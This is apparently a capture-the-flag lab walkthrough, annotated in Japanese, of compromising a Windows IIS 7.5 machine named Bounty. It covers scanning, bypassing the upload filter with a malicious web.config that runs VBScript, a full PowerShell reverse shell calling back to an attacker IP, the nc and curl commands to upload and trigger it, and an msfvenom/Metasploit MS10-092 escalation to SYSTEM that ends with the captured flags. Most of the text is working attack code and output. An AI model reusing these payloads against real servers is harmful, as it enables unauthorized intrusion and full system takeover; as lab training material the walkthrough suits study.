nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.180

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 239.42 seconds

nmap -sV -sC -p 80 10.129.84.180
curl -sI http://10.129.84.180

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Bounty
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET

gobuster dir -u http://10.129.84.180 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x aspx,config,txt -q

/transfer.aspx        (Status: 200)
/uploadedFiles        (Status: 301) → アップロード先ディレクトリ

curl -s http://10.129.84.180/transfer.aspx

<form name="form1" method="post" action="transfer.aspx" id="form1" enctype="multipart/form-data">
<input type="hidden" name="__VIEWSTATE" ... />
<input type="hidden" name="__EVENTVALIDATION" ... />
    <input type="file" name="FileUpload1" id="FileUpload1" />
    <input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />

直接 shell.aspx のようなファイルをアップロードして実行する方法は、
本機ではサーバー側フィルタで弾かれ失敗する(.aspxは拒否対象)。

一方 IIS7.5 の既定ハンドラマッピングには *.config という拡張子に対して
%windir%\system32\inetsrv\asp.dll (クラシックASPエンジン) を割り当てる設定が
残っていることがあり、ここに Server.CreateObject("WSCRIPT.SHELL") を含む
VBScriptコードを書き込んだ "web.config" を配置すると、拡張子は .config の
ままクラシックASPとして解釈・実行される(Soroush Dalili が報告した既知の
IIS構成ミス)。".config" は一般的なアップロードフィルタの禁止リストに
含まれないことが多いため、拡張子フィルタ自体を迂回できる。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*"
              modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write"
              preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions><remove fileExtension=".config" /></fileExtensions>
            <hiddenSegments><remove segment="web.config" /></hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("powershell.exe -nop -w hidden -enc <Base64エンコード済みリバースシェル>")
%>

$client = New-Object System.Net.Sockets.TCPClient("<KALI_IP>",4455)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
  $sendback = (cmd.exe /c $data 2>&1 | Out-String)
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback)
  $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()
}
$client.Close()

# これをUTF-16LE + Base64化し、powershell.exe -nop -w hidden -enc <base64> として埋め込む

# ターミナル1: リバースシェル用リスナー
nc -lnvp 4455

# ターミナル2: アップロード(VIEWSTATE/EVENTVALIDATIONは直前にGETしたフォームの値を再利用)
curl -s -X POST \
  -F "__VIEWSTATE=<フォームから取得した値>" \
  -F "__EVENTVALIDATION=<フォームから取得した値>" \
  -F "FileUpload1=@web.config;filename=web.config;type=text/xml" \
  -F "btnUpload=Upload" \
  http://10.129.84.180/transfer.aspx

# アップロード先を直接リクエストして実行をトリガー
curl -s http://10.129.84.180/uploadedFiles/web.config

<span id="Label1"><font color="Green">File uploaded successfully.</font></span>

listening on [any] 4455 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.84.180] 49157
Microsoft Windows [Version 6.1.7600]

C:\Windows\system32\inetsrv>whoami
bounty\merlin

C:\>type C:\Users\merlin\Desktop\user.txt

c40d1699bdbf667810a727abe2ac5bda

C:\>systeminfo
C:\>whoami /priv

OS Name:     Microsoft Windows Server 2008 R2 Standard
OS Version:  6.1.7600 N/A Build 7600          (サービスパック未適用、ホットフィックスゼロ)

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================== ==================================== ========
SeImpersonatePrivilege         Impersonate a client after auth.     Enabled

Windows タスクスケジューラのXMLタスク定義ファイルの整合性チェックには
単純なCRC32が使われており、暗号学的に強くないため、通常ユーザーでも
SYSTEM権限で動くタスクのXMLを改ざんし、再読込・実行させることで
任意コマンドをSYSTEM権限で実行できる(MS10-092 / CVE-2010-3338)。
2010年修正済みの脆弱性だが、本機はホットフィックス適用ゼロのため刺さる。

# ms10_092_schelevatorはローカルエクスプロイトのため、先に何らかの
# セッション(shellでもmeterpreterでも可)が必要。ここではmeterpreterの
# PowerShellステージャーをBase64エンコードし、Phase3と同じweb.config
# 手法で再度実行させて2本目のセッションとして取得する方法が簡単。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4456 \
  -f psh-reflection -o met_stage.ps1
# → met_stage.ps1 の内容をPhase3-3のVBScript内 powershell -enc 部分に
#   埋め込んだ新しい web.config を作り、再アップロード&トリガー

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <KALI_IP>
msf6 exploit(multi/handler) > set LPORT 4456
msf6 exploit(multi/handler) > run -j

msf6 > sessions
msf6 > use exploit/windows/local/ms10_092_schelevator
msf6 exploit(ms10_092_schelevator) > set SESSION 1
msf6 exploit(ms10_092_schelevator) > set LHOST <KALI_IP>
msf6 exploit(ms10_092_schelevator) > set LPORT 4457
msf6 exploit(ms10_092_schelevator) > exploit

[*] Started reverse TCP handler on <KALI_IP>:4457
[*] Checking local exploit capability on this session... Yes
[*] Writing the result to an ASCII file...
[*] Executing the schelevator attack...
[*] Sending stage (...) ...
[*] Meterpreter session 2 opened (SYSTEM権限)

meterpreter > getuid
meterpreter > cat 'C:\Users\Administrator\Desktop\root.txt'

Server username: NT AUTHORITY\SYSTEM
072051791e575564014c9cc16c309c9e